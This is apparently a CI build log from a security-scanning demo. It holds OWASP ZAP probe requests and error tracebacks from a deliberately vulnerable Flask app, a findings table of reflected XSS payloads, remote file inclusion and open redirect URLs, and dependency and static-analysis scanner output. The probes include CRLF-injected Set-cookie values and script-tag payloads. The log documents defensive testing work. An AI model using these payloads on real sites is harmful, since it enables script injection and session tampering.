172.17.0.2 - - [18/Oct/2017 08:05:22] "GET /xss4?a=k&name=any%0D%0ASet-cookie%3A+Tamper%3Dfed25778-31b2-4d23-95b4-af273b4056bd%0D%0A HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:22] "GET /xss5?a=k&name=any%3F%0ASet-cookie%3A+Tamper%3Ddcdfcdca-ecb0-4600-8c71-3c12cbaef7d2 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:22] "GET /xss4?a=k&name=any%3F%0D%0ASet-cookie%3A+Tamper%3Dfed25778-31b2-4d23-95b4-af273b4056bd%0D%0A HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:22] "GET /xss5?a=k&name=any%0D%0ASet-cookie%3A+Tamper%3Ddcdfcdca-ecb0-4600-8c71-3c12cbaef7d2%0D%0A HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:22] "GET /xss5?a=k&name=any%3F%0D%0ASet-cookie%3A+Tamper%3Ddcdfcdca-ecb0-4600-8c71-3c12cbaef7d2%0D%0A HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:22] "GET / HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:22] "GET /bonus?name=xss2.html HTTP/1.1" 200 -
[2017-10-18 08:05:22,823] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 23, in bonus
    fname = re.sub('[\/*?]','',fname)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/re.py", line 155, in sub
    return _compile(pattern, flags).sub(repl, string, count)
TypeError: expected string or buffer
172.17.0.2 - - [18/Oct/2017 08:05:22] "GET /bonus?= HTTP/1.1" 500 -
172.17.0.2 - - [18/Oct/2017 08:05:22] "GET /?= HTTP/1.1" 200 -
[2017-10-18 08:05:22,826] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u''
172.17.0.2 - - [18/Oct/2017 08:05:22] "GET /bonus?name= HTTP/1.1" 500 -
172.17.0.2 - - [18/Oct/2017 08:05:22] "GET /?query= HTTP/1.1" 200 -
[2017-10-18 08:05:22,829] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u'@'
172.17.0.2 - - [18/Oct/2017 08:05:22] "GET /bonus?name=%40 HTTP/1.1" 500 -
172.17.0.2 - - [18/Oct/2017 08:05:22] "GET /?query=%40 HTTP/1.1" 200 -
[2017-10-18 08:05:22,833] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u'+'
172.17.0.2 - - [18/Oct/2017 08:05:22] "GET /bonus?name=%2B HTTP/1.1" 500 -
172.17.0.2 - - [18/Oct/2017 08:05:22] "GET /?query=%2B HTTP/1.1" 200 -
[2017-10-18 08:05:22,837] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
TypeError: file() argument 1 must be encoded string without null bytes, not unicode
172.17.0.2 - - [18/Oct/2017 08:05:22] "GET /bonus?name=%00 HTTP/1.1" 500 -
172.17.0.2 - - [18/Oct/2017 08:05:22] "GET /?query=%00 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:22] "GET /?query=%7C HTTP/1.1" 200 -
[2017-10-18 08:05:22,847] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u'|'
172.17.0.2 - - [18/Oct/2017 08:05:22] "GET /bonus?name=%7C HTTP/1.1" 500 -
172.17.0.2 - - [18/Oct/2017 08:05:23] "GET /mystery?name=http://localhost:5000 HTTP/1.1" 302 -
172.17.0.2 - - [18/Oct/2017 08:05:23] "GET /robots.txt HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:23] "GET /sitemap.xml HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:23] "GET /xss1?a=k&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:23] "GET /xss1?=&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:23] "GET /xss1?a=&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:23] "GET /xss1?a=%40&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:23] "GET /xss1?a=%2B&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:23] "GET /xss1?a=%00&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:23] "GET /xss1?a=%7C&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:23] "GET /xss1?a=k&name=Thor HTTP/1.1" 200 -
[2017-10-18 08:05:23,238] ERROR in app: Exception on /xss1 [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 42, in xss1
    f = '<html><body>Mighty ' + request.args.get('name') + ', compose your email now:'
TypeError: cannot concatenate 'str' and 'NoneType' objects
172.17.0.2 - - [18/Oct/2017 08:05:23] "GET /xss1?a=k&= HTTP/1.1" 500 -
172.17.0.2 - - [18/Oct/2017 08:05:23] "GET /xss1?a=k&name= HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:23] "GET /xss1?a=k&name=%40 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:23] "GET /xss1?a=k&name=%2B HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:23] "GET /xss1?a=k&name=%00 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:23] "GET /xss1?a=k&name=%7C HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:23] "GET /xss2?a=k&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:23] "GET /xss3?a=k&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:23] "GET /xss2?=&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:23] "GET /xss2?a=&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:23] "GET /xss2?a=%40&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:23] "GET /xss2?a=%2B&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:23] "GET /xss2?a=%00&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:23] "GET /xss3?=&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:23] "GET /xss3?a=&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:23] "GET /xss2?a=%7C&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:23] "GET /xss3?a=%40&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:23] "GET /xss2?a=k&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:23] "GET /xss3?a=%2B&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:23] "GET /xss2?a=k&= HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:23] "GET /xss3?a=%00&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:23] "GET /xss2?a=k&name= HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:23] "GET /xss3?a=%7C&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:23] "GET /xss2?a=k&name=%40 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:23] "GET /xss3?a=k&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:23] "GET /xss2?a=k&name=%2B HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:23] "GET /xss3?a=k&= HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:23] "GET /xss2?a=k&name=%00 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:23] "GET /xss3?a=k&name= HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:23] "GET /xss2?a=k&name=%7C HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:23] "GET /xss3?a=k&name=%40 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:23] "GET /xss3?a=k&name=%2B HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:23] "GET /xss3?a=k&name=%00 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:23] "GET /xss3?a=k&name=%7C HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:23] "GET /xss4?a=k&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:23] "GET /xss5?a=k&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:23] "GET /xss4?=&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:23] "GET /xss5?=&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:23] "GET /xss4?a=&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:23] "GET /xss5?a=&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:23] "GET /xss4?a=%40&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:23] "GET /xss5?a=%40&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:23] "GET /xss4?a=%2B&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:23] "GET /xss5?a=%2B&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:23] "GET /xss4?a=%00&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:23] "GET /xss5?a=%00&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:23] "GET /xss4?a=%7C&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:23] "GET /xss5?a=%7C&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:23] "GET /xss4?a=k&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:23] "GET /xss5?a=k&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:23] "GET /xss5?a=k&= HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:23] "GET /xss4?a=k&= HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:23] "GET /xss5?a=k&name= HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:23] "GET /xss4?a=k&name= HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:23] "GET /xss5?a=k&name=%40 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:23] "GET /xss4?a=k&name=%40 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:23] "GET /xss5?a=k&name=%2B HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:23] "GET /xss4?a=k&name=%2B HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:23] "GET /xss5?a=k&name=%00 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:23] "GET /xss4?a=k&name=%00 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:23] "GET /xss5?a=k&name=%7C HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:23] "GET /xss4?a=k&name=%7C HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:23] "GET /?query=zApPX0sS HTTP/1.1" 200 -
[2017-10-18 08:05:23,682] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u'zApPX1sS'
172.17.0.2 - - [18/Oct/2017 08:05:23] "GET /bonus?name=zApPX1sS HTTP/1.1" 500 -
172.17.0.2 - - [18/Oct/2017 08:05:23] "GET /mystery?name=zApPX2sS HTTP/1.1" 302 -
172.17.0.2 - - [18/Oct/2017 08:05:23] "GET /robots.txt?query=zApPX3sS HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:24] "GET /sitemap.xml?query=zApPX4sS HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:24] "GET /xss1?a=zApPX5sS&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:24] "GET /xss1?a=k&name=zApPX6sS HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:24] "GET /xss2?a=zApPX7sS&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:24] "GET /xss2?a=k&name=zApPX8sS HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:24] "GET /xss3?a=zApPX9sS&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:24] "GET /xss3?a=k&name=zApPX10sS HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:24] "GET /xss5?a=zApPX12sS&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:24] "GET /xss4?a=zApPX11sS&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:24] "GET /xss5?a=k&name=zApPX13sS HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:24] "GET /xss4?a=k&name=zApPX14sS HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:24] "GET / HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:24] "GET /mystery?name=http://localhost:5000 HTTP/1.1" 302 -
172.17.0.2 - - [18/Oct/2017 08:05:24] "GET /bonus?name=xss2.html HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:24] "GET /robots.txt HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:24] "GET /sitemap.xml HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:24] "GET /xss2?a=k&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:24] "GET /xss1?a=k&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:25] "GET /xss3?a=k&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:25] "GET /xss4?a=k&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:25] "GET /xss5?a=k&name=Loki HTTP/1.1" 200 -
[INFO]            Issues found: 5
+----------------------------------+--------+----------+------------------------------------------------------------------------------------------------------------+
| Alert                            | Risk   |   CWE ID | URL                                                                                                        |
+==================================+========+==========+============================================================================================================+
| Remote File Inclusion            | High   |       98 | http://172.17.0.1:5000/mystery?name=http%3A%2F%2Fwww.google.com%2F                                         |
+----------------------------------+--------+----------+------------------------------------------------------------------------------------------------------------+
| Cross Site Scripting (Reflected) | High   |       79 | http://172.17.0.1:5000/xss1?a=k&name=%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E                            |
+----------------------------------+--------+----------+------------------------------------------------------------------------------------------------------------+
| Cross Site Scripting (Reflected) | High   |       79 | http://172.17.0.1:5000/xss2?a=k&name=%3C%2Fscript%3E%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E%3Cscript%3E |
+----------------------------------+--------+----------+------------------------------------------------------------------------------------------------------------+
| Cross Site Scripting (Reflected) | High   |       79 | http://172.17.0.1:5000/xss3?a=k&name=%3C%2Fscript%3E%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E%3Cscript%3E |
+----------------------------------+--------+----------+------------------------------------------------------------------------------------------------------------+
| External Redirect                | High   |      601 | http://172.17.0.1:5000/mystery?name=http%3A%2F%2F5149675220896205941.owasp.org                             |
+----------------------------------+--------+----------+------------------------------------------------------------------------------------------------------------+
[INFO]            Shutting down ZAP daemon


The command "./start-and-scan.sh" exited with 0.
$ ./run-dependency-check.sh
Initially creating persistent directories
Using default tag: latest
latest: Pulling from owasp/dependency-check










Digest: sha256:a5d542c3982cab16f52982858450a8bf78f4fbeaba29c23ad77812452b33804d
Status: Downloaded newer image for owasp/dependency-check:latest
[INFO] Checking for updates
[INFO] starting getUpdatesNeeded() ...
[INFO] NVD CVE requires several updates; this could take a couple of minutes.
[INFO] Download Started for NVD CVE - 2002
[INFO] Download Started for NVD CVE - 2003
[INFO] Download Started for NVD CVE - 2004
[INFO] Download Complete for NVD CVE - 2003  (1086 ms)
[INFO] Processing Started for NVD CVE - 2003
[INFO] Download Started for NVD CVE - 2005
[INFO] Download Complete for NVD CVE - 2004  (1426 ms)
[INFO] Download Started for NVD CVE - 2006
[INFO] Processing Started for NVD CVE - 2004
[INFO] Download Complete for NVD CVE - 2002  (2016 ms)
[INFO] Download Started for NVD CVE - 2007
[INFO] Download Complete for NVD CVE - 2005  (1794 ms)
[INFO] Download Started for NVD CVE - 2008
[INFO] Download Complete for NVD CVE - 2006  (2527 ms)
[INFO] Download Started for NVD CVE - 2009
[INFO] Processing Complete for NVD CVE - 2003  (3066 ms)
[INFO] Processing Started for NVD CVE - 2002
[INFO] Download Complete for NVD CVE - 2007  (2511 ms)
[INFO] Download Started for NVD CVE - 2010
[INFO] Download Complete for NVD CVE - 2008  (2437 ms)
[INFO] Download Started for NVD CVE - 2011
[INFO] Download Complete for NVD CVE - 2009  (2290 ms)
[INFO] Download Started for NVD CVE - 2012
[INFO] Processing Complete for NVD CVE - 2004  (4998 ms)
[INFO] Processing Started for NVD CVE - 2005
[INFO] Download Complete for NVD CVE - 2010  (2732 ms)
[INFO] Download Started for NVD CVE - 2013
[INFO] Download Complete for NVD CVE - 2012  (2651 ms)
[INFO] Download Started for NVD CVE - 2014
[INFO] Processing Complete for NVD CVE - 2002  (5622 ms)
[INFO] Processing Started for NVD CVE - 2006
[INFO] Download Complete for NVD CVE - 2013  (3027 ms)
[INFO] Download Started for NVD CVE - 2015
[INFO] Download Complete for NVD CVE - 2011  (5370 ms)
[INFO] Download Started for NVD CVE - 2016
[INFO] Download Complete for NVD CVE - 2014  (2789 ms)
[INFO] Download Started for NVD CVE - 2017
[INFO] Processing Complete for NVD CVE - 2005  (6328 ms)
[INFO] Processing Started for NVD CVE - 2007
[INFO] Download Complete for NVD CVE - 2015  (2925 ms)
[INFO] Download Started for NVD CVE - Modified
[INFO] Download Complete for NVD CVE - 2016  (2950 ms)
[INFO] Download Complete for NVD CVE - 2017  (2880 ms)
[INFO] Download Complete for NVD CVE - Modified  (2256 ms)
[INFO] Processing Complete for NVD CVE - 2006  (8028 ms)
[INFO] Processing Started for NVD CVE - 2008
[INFO] Processing Complete for NVD CVE - 2007  (6396 ms)
[INFO] Processing Started for NVD CVE - 2009
[INFO] Processing Complete for NVD CVE - 2009  (5326 ms)
[INFO] Processing Started for NVD CVE - 2010
[INFO] Processing Complete for NVD CVE - 2008  (7064 ms)
[INFO] Processing Started for NVD CVE - 2012
[INFO] Processing Complete for NVD CVE - 2010  (11368 ms)
[INFO] Processing Started for NVD CVE - 2013
[INFO] Processing Complete for NVD CVE - 2012  (12283 ms)
[INFO] Processing Started for NVD CVE - 2011
[INFO] Processing Complete for NVD CVE - 2013  (25677 ms)
[INFO] Processing Started for NVD CVE - 2014
[INFO] Processing Complete for NVD CVE - 2011  (32963 ms)
[INFO] Processing Started for NVD CVE - 2015
[INFO] Processing Complete for NVD CVE - 2014  (14094 ms)
[INFO] Processing Started for NVD CVE - 2017
[INFO] Processing Complete for NVD CVE - 2015  (6621 ms)
[INFO] Processing Started for NVD CVE - 2016
[INFO] Processing Complete for NVD CVE - 2017  (4885 ms)
[INFO] Processing Started for NVD CVE - Modified
[INFO] Processing Complete for NVD CVE - 2016  (7988 ms)
[INFO] Processing Complete for NVD CVE - Modified  (4740 ms)
[INFO] Begin database maintenance.
[INFO] End database maintenance.
[INFO] Check for updates complete (88769 ms)
[INFO] Analysis Started
[INFO] Finished Archive Analyzer (0 seconds)
[INFO] Finished File Name Analyzer (0 seconds)
[INFO] Finished Jar Analyzer (0 seconds)
[INFO] Finished Central Analyzer (0 seconds)
[INFO] Finished Dependency Merging Analyzer (0 seconds)
[INFO] Finished Version Filter Analyzer (0 seconds)
[INFO] Finished Hint Analyzer (0 seconds)
[INFO] Created CPE Index (2 seconds)
[INFO] Finished CPE Analyzer (2 seconds)
[INFO] Finished False Positive Analyzer (0 seconds)
[INFO] Finished Cpe Suppression Analyzer (0 seconds)
[INFO] Finished NVD CVE Analyzer (0 seconds)
[INFO] Finished Vulnerability Suppression Analyzer (0 seconds)
[INFO] Finished Dependency Bundling Analyzer (0 seconds)
[INFO] Analysis Complete (2 seconds)


The command "./run-dependency-check.sh" exited with 0.
$ ./run-retirej.sh
Using default tag: latest
latest: Pulling from fhunii/retire.js











Digest: sha256:6324af9f164d54a96c56ce550bebedccee99e510b30342ec5e4ac7bea9f03a46
Status: Downloaded newer image for fhunii/retire.js:latest
Downloading https://raw.githubusercontent.com/RetireJS/retire.js/master/repository/jsrepository.json ...
Downloading https://raw.githubusercontent.com/RetireJS/retire.js/master/repository/npmrepository.json ...
/usr/src/app/js/angular-resource.min.js
 ↳ angularjs 1.4.9 has known vulnerabilities: severity: medium; summary: The attribute usemap can be used as a security exploit; https://github.com/angular/angular.js/blob/master/CHANGELOG.md#1230-patronal-resurrection-2016-07-21 severity: medium; summary: Universal CSP bypass via add-on in Firefox; https://github.com/mozilla/addons-linter/issues/1000#issuecomment-282083435 http://pastebin.com/raw/kGrdaypP severity: medium; summary: DOS in $sanitize; https://github.com/angular/angular.js/blob/master/CHANGELOG.md severity: low; summary: XSS in $sanitize in Safari/Firefox; https://github.com/angular/angular.js/commit/8f31f1ff43b673a24f84422d5c13d6312b2c4d94


The command "./run-retirej.sh" exited with 0.
$ ./run-findsecbugs.sh
Using default tag: latest
latest: Pulling from lokori/findbugs-sec








Digest: sha256:12d049c76de7fe3ad2483b3a2a69e819d8c2254755358d6a4d4947f537bfb1d3
Status: Downloaded newer image for lokori/findbugs-sec:latest
Oct 18, 2017 8:08:17 AM java.util.prefs.FileSystemPreferences$1 run
INFO: Created user preferences directory.
M S SECUS: Unencrypted socket to fi.solita.clamav.ClamAVClient (instead of SSLSocket)  At ClamAVClient.java:[line 53]
M S SECUS: Unencrypted socket to fi.solita.clamav.ClamAVClient (instead of SSLSocket)  At ClamAVClient.java:[line 81]
Warnings generated: 2


